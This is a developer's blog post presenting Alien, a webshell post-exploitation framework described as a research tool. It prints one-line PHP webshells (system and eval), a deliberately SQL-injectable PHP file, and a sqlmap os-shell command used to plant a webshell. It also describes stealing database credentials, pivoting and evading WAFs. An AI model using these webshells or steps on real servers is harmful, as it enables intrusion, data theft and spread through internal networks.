Introduction

Alien is a modular webshell framework developed for cybersecurity research and education.

It provides a unified post-exploitation framework for managing different web technologies through reusable modules.

Rather than embedding every feature inside the webshell itself, Alien treats webshells as lightweight execution layers responsible only for arbitrary code execution. Once arbitrary code execution is obtained, advanced capabilities—including file management, virtual shells, database interaction, plugins, traffic obfuscation, and pivoting—are provided by the framework.

GitHub repository: Alien

Disclaimer

This project was developed as part of my personal interest in studying cybersecurity. It is designed for legitimate penetration testing and educational purposes only.

However, it may potentially be misused for malicious purposes.

Please do NOT use this tool for any illegal activities.

The author is not responsible for any misuse or damage caused by this software.

Background

Alien was originally developed during my second year at university as my first webshell management tool. Although the project was functional, its architecture was difficult to maintain and lacked extensibility. As my experience in software engineering and offensive security grew, I decided to archive the original implementation and redesign the project from scratch.

Today, Alien has evolved from a simple webshell management tool into a modular research platform for studying post-exploitation techniques across different web technologies.

If you are not familiar with webshells or OneShells, please refer to the articles below:

• Understanding Webshells
• CGI Webshells
• Java and C#
  • NebulaPulsar
  • NebulaPulsar 2.0
• Event Horizon

Why Alien?

Web applications remain one of the most common attack surfaces in modern environments. Whether during penetration testing or real-world attacks, arbitrary code execution obtained through a web application often serves as the initial foothold.

A simple webshell is usually sufficient to demonstrate a remote code execution (RCE) vulnerability. However, command execution alone is rarely enough for practical post-exploitation.

Alien was designed to bridge this gap by providing a unified post-exploitation framework capable of leveraging arbitrary code execution across different web technologies.

For example, suppose an application contains an arbitrary file upload vulnerability, we may upload the following webshell to the target server:

<?php system($_GET['cmd']);?>

Of course this is never enough. Therefore, we can use Alien to leverage this vulnerability.

Demonstration

If we discover a SQL injection vulnerability, we can exploit it using sqlmap:

The proof-of-concept vulnerable PHP code is shown as follows:

// sqli.php
<?php
$mysqli = new mysqli("localhost","root","123456","mysql");
$index = $_GET['index'];

if ($mysqli -> connect_errno) {
  echo "Failed to connect to MySQL: " . $mysqli -> connect_error;
  exit();
}

$sql = "SELECT * from mysql.help_relation where help_topic_id = $index";
$result = $mysqli -> query($sql);

// Numeric array
$row = $result -> fetch_array(MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

$result -> free_result();

$mysqli -> close();

In certain scenarios, we can leverage this vulnerability… if write permission is available and the current user has sufficient privileges:

sqlmap.py -u 'YOUR URL' --os-shell

This command provides us with a virtual shell, allowing us to execute single commands.

Sometimes, however, our real target is an internal resource that is not directly accessible. Therefore, we need to perform post-exploitation.

However, this simple command execution is definitely not enough, the available functionality is limited. In this case, we can use Alien to leverage this vulnerability.

os-shell> echo '<?php eval($_POST["pass"]);?>' > eval.php

Now, open http://[YOUR TARGET]/webshell/eval.php in the browser. We can see that the OneShell was successfully written into the remote server, and arbitrary code execution is achieved:

Finally, open Alien, add this URL into it, select the script for exploitation (PHP, v8.X and OneShell) and enter the parameter pass:

If the validation is passed, then press the Save button. After it is saved, open the Control Panel. Then we can remotely manage the server with a wide range of post-exploitation features.

Webshells are often used during data breaches. For example, an attacker can find the password of MySQL in phpMyAdmin/config.inc.php:

Add a new database configuration in Alien, then we are able to interact with the database:

Alien also provides a virtual terminal. Users can use this feature to establish SSH connections to other machines.

Alien also provides a plugin framework, allowing users to develop their own plugins. Although only a few plugins are currently available, I plan to add many more in future releases!

You can use Void to scan the IP addresses in the internal network

Using Alien’s built-in SOCKS5 proxy, external tools such as sqlmap can access internal web applications through the compromised server.

Once another webshell has been deployed on an internal host, DriftingComet can be used to establish a pivot between compromised servers, allowing you to progressively reach deeper targets within the network.

If you are concerned about WAFs and IDSs, you can enable Event Horizon for evasion. DriftingComet also supports OneShells protected by Event Horizon.

Conclusion

It is now 4:00 a.m.

I have so many things I wanted to say, yet somehow I am speechless.

Alien was the project that earned me my first 100 GitHub stars during my second year at university. Looking back, I know it was far from perfect, but it taught me an incredible amount about software engineering and offensive security.

This new version is a complete redesign built upon everything I have learned over the past few years.

I still believe there is plenty of room for improvement, but if you like this tool, I would truly appreciate a ⭐ on the repository. Your support would be a great motivation for me to continue improving this tool!

Thank you for taking the time to read this article and explore Alien. I sincerely hope you find it useful—or that it inspires you to build something of your own.

THANKS FOR READING